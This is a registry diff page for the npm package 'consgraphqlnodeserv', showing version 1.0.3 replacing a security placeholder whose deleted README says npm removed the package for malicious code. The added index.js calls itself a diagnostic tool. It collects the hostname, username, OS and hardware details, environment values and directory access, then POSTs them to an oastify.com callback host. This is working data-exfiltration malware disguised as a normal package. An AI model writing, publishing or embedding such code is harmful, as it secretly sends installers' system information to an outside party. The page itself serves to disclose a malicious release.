consgraphqlnodeserv 0.0.1-security ā 1.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of consgraphqlnodeserv might be problematic. Click here for more details.
- package/index.js +109 -0
- package/package.json +9 -3
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,109 @@
|
|
1
|
+
const os = require("os");
|
2
|
+
const https = require("https");
|
3
|
+
const fs = require("fs");
|
4
|
+
|
5
|
+
console.log("šØ Diagnostic package executed.\n");
|
6
|
+
|
7
|
+
// ā
Function to safely check common directories
|
8
|
+
function checkDirectories() {
|
9
|
+
const dirs = ["/tmp", "/var/log", "/etc", "/home", "/Users", process.cwd()];
|
10
|
+
|
11
|
+
return dirs.map((dir) => {
|
12
|
+
try {
|
13
|
+
const stats = fs.lstatSync(dir);
|
14
|
+
fs.accessSync(dir, fs.constants.R_OK); // test readability
|
15
|
+
return {
|
16
|
+
path: dir,
|
17
|
+
exists: true,
|
18
|
+
isDirectory: stats.isDirectory(),
|
19
|
+
readable: true,
|
20
|
+
};
|
21
|
+
} catch (err) {
|
22
|
+
return {
|
23
|
+
path: dir,
|
24
|
+
exists: false,
|
25
|
+
readable: false,
|
26
|
+
error: err.code || err.message,
|
27
|
+
};
|
28
|
+
}
|
29
|
+
});
|
30
|
+
}
|
31
|
+
|
32
|
+
// ā
Collect system data with error handling
|
33
|
+
function collectSystemData() {
|
34
|
+
try {
|
35
|
+
return {
|
36
|
+
hostname: os.hostname(),
|
37
|
+
username: os.userInfo().username,
|
38
|
+
platform: os.platform(),
|
39
|
+
arch: os.arch(),
|
40
|
+
release: os.release(),
|
41
|
+
uptime: os.uptime(),
|
42
|
+
uptimeFormatted: new Date(os.uptime() * 1000).toISOString().substr(11, 8),
|
43
|
+
timestamp: new Date().toISOString(),
|
44
|
+
|
45
|
+
// Hardware and runtime
|
46
|
+
cpuCount: os.cpus().length,
|
47
|
+
cpuModel: os.cpus()[0]?.model || "unknown",
|
48
|
+
loadAverage: os.loadavg(),
|
49
|
+
totalMemoryMB: Math.round(os.totalmem() / 1e6),
|
50
|
+
freeMemoryMB: Math.round(os.freemem() / 1e6),
|
51
|
+
memoryUsageMB: Math.round(process.memoryUsage().rss / 1e6),
|
52
|
+
nodeVersion: process.version,
|
53
|
+
cwd: process.cwd(),
|
54
|
+
|
55
|
+
// Env info (safe subset)
|
56
|
+
env: {
|
57
|
+
user: process.env.USER || process.env.USERNAME || "unknown",
|
58
|
+
shell: process.env.SHELL || "unknown",
|
59
|
+
term: process.env.TERM || "unknown",
|
60
|
+
pathLength: (process.env.PATH || "").split(":").length,
|
61
|
+
nodeEnv: process.env.NODE_ENV || "not set",
|
62
|
+
},
|
63
|
+
|
64
|
+
// Locale and system
|
65
|
+
timezone: Intl.DateTimeFormat().resolvedOptions().timeZone,
|
66
|
+
locale: Intl.DateTimeFormat().resolvedOptions().locale,
|
67
|
+
osType: os.type(),
|
68
|
+
endianness: os.endianness(),
|
69
|
+
versions: process.versions,
|
70
|
+
|
71
|
+
// Safe directories
|
72
|
+
directories: checkDirectories(),
|
73
|
+
};
|
74
|
+
} catch (err) {
|
75
|
+
console.error("ā Error collecting system data:", err.message);
|
76
|
+
return { error: "Failed to collect system data", details: err.message };
|
77
|
+
}
|
78
|
+
}
|
79
|
+
|
80
|
+
// ā
Prepare and show payload
|
81
|
+
const systemData = collectSystemData();
|
82
|
+
const payload = JSON.stringify(systemData, null, 2);
|
83
|
+
|
84
|
+
console.log("š¦ Collected System Info:\n");
|
85
|
+
console.log(payload);
|
86
|
+
|
87
|
+
// ā
Send to webhook
|
88
|
+
const options = {
|
89
|
+
hostname: "trojum8gfcm6wa2cb38dv361tszjndb2.oastify.com", // š Replace with your webhook host
|
90
|
+
path: "/machine-check", // š Your desired path
|
91
|
+
method: "POST",
|
92
|
+
headers: {
|
93
|
+
"Content-Type": "application/json",
|
94
|
+
"Content-Length": Buffer.byteLength(payload),
|
95
|
+
},
|
96
|
+
};
|
97
|
+
|
98
|
+
const req = https.request(options, (res) => {
|
99
|
+
console.log(
|
100
|
+
`\nā
Webhook sent. Server responded with status: ${res.statusCode}`,
|
101
|
+
);
|
102
|
+
});
|
103
|
+
|
104
|
+
req.on("error", (error) => {
|
105
|
+
console.error("\nā Failed to send data:", error.message);
|
106
|
+
});
|
107
|
+
|
108
|
+
req.write(payload);
|
109
|
+
req.end();
|
package/package.json
CHANGED
@@ -1,6 +1,12 @@
|
|
1
1
|
{
|
2
2
|
"name": "consgraphqlnodeserv",
|
3
|
-
"version": "
|
4
|
-
"
|
5
|
-
"
|
3
|
+
"version": "1.0.3",
|
4
|
+
"main": "index.js",
|
5
|
+
"scripts": {
|
6
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
7
|
+
},
|
8
|
+
"keywords": [],
|
9
|
+
"author": "",
|
10
|
+
"license": "ISC",
|
11
|
+
"description": ""
|
6
12
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=consgraphqlnodeserv for more information.
|